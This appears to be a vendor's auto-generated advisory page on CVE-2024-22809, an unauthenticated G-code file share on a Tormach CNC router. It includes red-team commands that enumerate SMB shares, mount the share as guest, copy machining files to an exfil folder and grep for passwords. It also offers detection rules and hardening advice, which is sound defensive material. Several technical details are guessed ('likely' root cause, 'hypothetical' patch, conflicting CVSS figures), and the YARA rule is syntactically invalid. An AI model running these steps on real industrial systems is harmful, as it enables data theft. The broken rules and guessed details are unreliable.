CVE-2024-22809
Executive Summary
CVE-2024-22809 exposes an incorrect access control vulnerability in the Tormach xsTECH CNC Router running PathPilot Controller v2.9.6. This flaw allows an attacker with local or network access to the shared G-code folder to view sensitive information, including proprietary machining programs, tool paths, and potentially credentials stored in configuration files. The vulnerability stems from overly permissive file system permissions on the G-code share, which is typically mounted via SMB or NFS. No official patch has been released as of this analysis, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for exposed industrial environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level access control issue in a proprietary industrial control system (ICS) product.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (No official vector assigned) Threat Level: Medium (based on impact and exploitability)
Rationale: While no CVSS vector is provided, the vulnerability allows unauthorized read access to sensitive G-code files. In a manufacturing environment, this could lead to intellectual property theft, sabotage, or recon for further attacks. The attack vector is likely network-adjacent (local network) with low complexity and no authentication required, but the impact is limited to confidentiality.
Estimated Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (Base Score: 6.5)
Deep Dive & Mechanics
The Tormach PathPilot Controller v2.9.6 exposes a shared folder (typically /media/gcode or a similar path) via SMB/CIFS or NFS for users to upload and manage G-code files. The vulnerability lies in the file system permissions: the share is configured with world-readable or overly permissive access controls, allowing any user on the local network to browse, read, and potentially copy files without authentication.
Root Cause: The smb.conf or NFS export configuration does not enforce user-level authentication or restrict access to authorized hosts. The default configuration likely sets guest ok = yes or public = yes for the G-code share.
Attack Scenario:
- An attacker gains access to the same network segment as the CNC router (e.g., via a compromised workstation, rogue device, or physical access).
- The attacker enumerates SMB/NFS shares using tools like
smbclient,enum4linux, orshowmount. - The attacker mounts the G-code share without credentials.
- The attacker reads all G-code files, extracting sensitive machining parameters, tool paths, and possibly embedded credentials.
Impact:
- Intellectual Property Theft: G-code files contain proprietary machining strategies and designs.
- Operational Reconnaissance: Attackers can analyze tool paths to understand manufacturing capabilities.
- Lateral Movement: If credentials are stored in configuration files, the attacker can pivot to other systems.
Vulnerable vs. Patched Code
Vulnerable Configuration (v2.9.6):
# /etc/samba/smb.conf (example)
[gcode]
path = /media/gcode
browseable = yes
read only = no
guest ok = yes
public = yes
Patched Configuration (Hypothetical):
# /etc/samba/smb.conf (patched)
[gcode]
path = /media/gcode
browseable = yes
read only = yes
guest ok = no
valid users = @cnc_operators
force user = cnc_user
Key Differences:
guest ok = yeschanged tono– requires authentication.read only = nochanged toyes– prevents write access.- Added
valid usersdirective to restrict access to a specific group. - Added
force userto ensure files are owned by a non-privileged user.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to the same network segment as the Tormach xsTECH CNC Router.
- Tools:
smbclient,mount.cifs,enum4linux,nmap.
Step 1: Enumerate SMB Shares
nmap -p 445 --script smb-enum-shares <target_ip>
Step 2: List Shares with smbclient
smbclient -L //<target_ip> -N
Step 3: Mount the G-code Share
mkdir /mnt/gcode
mount -t cifs //<target_ip>/gcode /mnt/gcode -o guest,uid=$(id -u),gid=$(id -g)
Step 4: Extract Sensitive Data
find /mnt/gcode -type f -name "*.gcode" -exec cp {} /tmp/exfil/ \;
grep -r "password\|credential\|secret" /mnt/gcode/
Step 5: Clean Up
umount /mnt/gcode
rm -rf /mnt/gcode
Blue Team
Detection:
- Monitor SMB/NFS connections to the CNC router from unexpected IPs.
- Alert on multiple failed mount attempts or enumeration scans.
- Use file integrity monitoring (FIM) on the G-code share.
Hunting:
- Search for
smbclientormount.cifsusage in process logs. - Look for
guestoranonymouslogins in SMB audit logs.
Hardening:
- Restrict network access to the CNC router using VLANs or firewall rules.
- Enable SMB signing and encryption.
- Implement 802.1X network access control.
Indicators of Compromise (IOCs)
Network IOCs:
- SMB traffic to port 445 on the CNC router from unauthorized IPs.
- NFS traffic to port 2049 from unexpected sources.
smbclientormount.cifscommands in process logs.
File IOCs:
- Unauthorized copies of
.gcodefiles in/tmp/or other staging directories. - Presence of
enum4linuxornmapoutput files.
System IOCs:
- Modified
/etc/samba/smb.confor/etc/exportsfiles. - New user accounts added to the
cnc_operatorsgroup.
Detection Engineering
YARA Rule
rule CVE_2024_22809_Gcode_Exfil {
meta:
description = "Detect exfiltration of G-code files from Tormach CNC router"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-22809"
strings:
$gcode_ext = ".gcode"
$gcode_header = "G21" or "G90" or "G17"
$smb_mount = "mount -t cifs" nocase
$smb_client = "smbclient" nocase
condition:
(uint16(0) == 0x4d5a or uint16(0) == 0x7f454c46) and
(#gcode_ext > 5) and
($smb_mount or $smb_client)
}
Sigma Rule
title: CVE-2024-22809 - Unauthorized SMB Access to Tormach CNC Router
id: 7a8b3c4d-5e6f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to mount or enumerate SMB shares on a Tormach CNC router without authentication.
author: Valters IT
date: 2024-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-22809
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith:
- '/smbclient'
- '/mount.cifs'
- '/mount.nfs'
CommandLine|contains:
- '//<target_ip>/gcode'
- '-N'
- '-o guest'
condition: selection
falsepositives:
- Legitimate administrative access
level: high
Suricata Rule
alert smb any any -> $HOME_NET 445 (msg:"CVE-2024-22809 - Tormach CNC Router SMB Share Enumeration"; flow:to_server; content:"|00 00 00 00|"; depth:4; content:"|ff 53 4d 42|"; distance:0; within:4; content:"|72 00|"; distance:0; within:2; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|"; distance:0; within:16; reference:cve,2024-22809; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Guest Access: Edit
/etc/samba/smb.confand setguest ok = nofor the G-code share. - Require Authentication: Add
valid users = @cnc_operatorsand create a dedicated group. - Restrict Network Access: Use firewall rules to allow only trusted IPs to connect to ports 445 and 2049.
- Enable Logging: Configure SMB audit logging to capture all access attempts.
Long-Term Fixes:
- Apply firmware updates from Tormach when available.
- Implement network segmentation (VLANs) for all ICS devices.
- Use a VPN or jump host for remote access.
- Regularly audit share permissions and access logs.
Workaround:
- If patching is not possible, change the share to read-only and remove guest access. Monitor logs for unauthorized access attempts.
Valters IT
Securing Industrial Environments, One CVE at a Time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.